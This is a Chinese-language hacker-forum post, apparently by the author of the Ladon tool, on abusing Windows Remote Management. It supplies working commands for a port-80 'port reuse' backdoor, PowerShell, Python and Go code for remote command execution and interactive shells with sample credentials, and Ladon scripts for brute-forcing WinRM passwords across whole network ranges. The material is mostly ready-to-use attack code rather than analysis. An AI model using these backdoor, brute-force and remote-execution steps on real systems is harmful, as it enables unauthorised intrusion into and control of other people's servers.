• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Winrm远程命令/端口复用后门/WinrmCmd/密码爆破


k8

Recommended Posts

简介

WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

PS:WIN7或2008需要手动开户WINRM

默认端口

5985/tcp (HTTP)
5986/tcp (HTTPS)

快速启动WinRM

1
winrm  quickconfig  -q 或 winrm qc

端口复用后门

对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。

1
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

PS:该方法适用于有web的机器,不会开启新端口,也不需要新的EXE进程或DLL劫持。

Winrs远程执行命令

需要客户端启用Winrm,SYS权限受限制

客户端启用Winrm

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts=”*”}

远程执行CMD

通过Winrs连接,并执行whoami命令

1
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami

通过Winrs连接,并获得交互式的shell

1
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd

PowerShell远程执行命令

需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

1
2
3
4
5
6
7
$ip="192.168.1.116"
#$ip="192.168.1.20"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
$securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' 
$cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword
$cmd = {ls C:\users\public}
Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd

Pywinrm远程执行命令

需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

1
2
3
4
5
6
7
8
9
#C:\Users\null\Desktop\pywinrm>python test1.py
#win-\k8gege
import winrm
s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok
#s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail
r=s.run_ps('dir')
r=s.run_cmd('whoami') 
print r.std_out 
print  r.std_err

Gowinrm远程执行命令

Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
推荐使用版本,跨平台,任意权限,工具无需系统客外配置,也无需复杂安装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main
import (
  "github.com/masterzen/winrm"
  "fmt"
  "os"
  "strconv"
)
//Winrm Remote Shell by k8gege
//http://k8gege.org/Ladon/WinrmScan.html
#C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami
#k8gege

var help = func () {
    fmt.Println("Winrm Shell by k8gege")
    fmt.Println("====================================================")
    fmt.Println("winrmcmd host port user pass cmd")
}

func main() {

	    args := os.Args
    if len(args) < 5 || args == nil {
		help()
        return
    }
	host := args[1]
	port,err := strconv.Atoi(args[2])
	user := args[3]
	pass := args[4]
	cmd := args[5]
	
	endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0)
	client, err := winrm.NewClient(endpoint, user, pass)
	if err != nil {
		panic(err)
	}
client.Run(cmd, os.Stdout, os.Stderr)
}

C#版远程执行命令

有两种方法,一种WSMAN,一种DCOM,都有缺限,一个在WIN7环境运行提示无效程序(在2012系统才正常),另一个在WIN7开发环境正常在2012系统不能使用,再者需启用Winrm还一样受权限限制,还不如用系统自带命令好。

调用winrm爆破

由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。

PS:GO版不受权限限制,也不受编码限制,建立使用GO版验证密码

WinrmScan.ini
1
2
3
4
5
6
7
8
9
[Ladon]
#Brute-Force WinRM
exe=cmd.exe
arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
port=5985
isok=isok
log=true

注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。

调用WinrmCmd爆破

Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制

1
2
3
4
5
6
7
8
[Ladon]
#Brute-Force WinRM
exe=winrmcmd.exe
arg=$ip$ 5985 $user$ $pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
isok=isok
log=true

Winrm密码爆破/暴力破解

配置密码爆破参数

INI脚本仅支持标准的user.txt和pass.txt帐密破解

user & pass /传统帐密

user.txt
k8gege
root

pass.txt
toor
k8gege520

指定IP

1
Ladon 192.168.1.8 WinrmScan.ini

扫描C段

1
2
Ladon 192.168.1.8/c WinrmScan.ini
Ladon 192.168.1.8/24 WinrmScan.ini

扫描B段

1
Ladon 192.168.1.8/b WinrmScan.ini

扫描A段

1
Ladon 192.168.1.8/a WinrmScan.ini

批量IP

ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48

1
Ladon WinrmScan.ini

批量C段

ip24.txt
192.168.1.
10.1.5.

1
Ladon WinrmScan.ini

批量B段

ip16.txt
192.168.
10.1.

1
Ladon  WinrmScan.ini

通过5985端口扫描1.20机器登陆口令
 

Ladon 7.3版本

>= Ladon 7.3.0
Update: 20200901

Ladon 7.3版本添加了WinrmScan和WinrmExec功能
详情参考:http://k8gege.org/Ladon/WinrmExec

WinrmScan 5985密码爆破

1
2
Ladon 192.168.1.8 WinrmScan
Ladon 192.168.1.8/24 WinrmScan

WinrmExec 远程执行命令

1.无回显
2.支持SYSTEM权限

1
2
3
4
5
6
7
Usage:
Ladon WinrmExec <Target> [Port] [Domain] [Username] [Password] <Command>
Default Port is 5985
Example:
Ladon WinrmExec 192.168.1.116 . k8gege K8test520!@# calc.exe
Ladon WinrmExec 192.168.1.116 80 . k8gege K8test520!@# calc.exe
Ladon WinrmExec 192.168.1.116 5985 . k8gege K8test520!@# calc.exe

Winrm密码爆破/端口复用后门

相关知识点请参考:http://k8gege.org/Ladon/WinrmScan.html

image

工具下载

最新版本:https://k8gege.org/Download

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now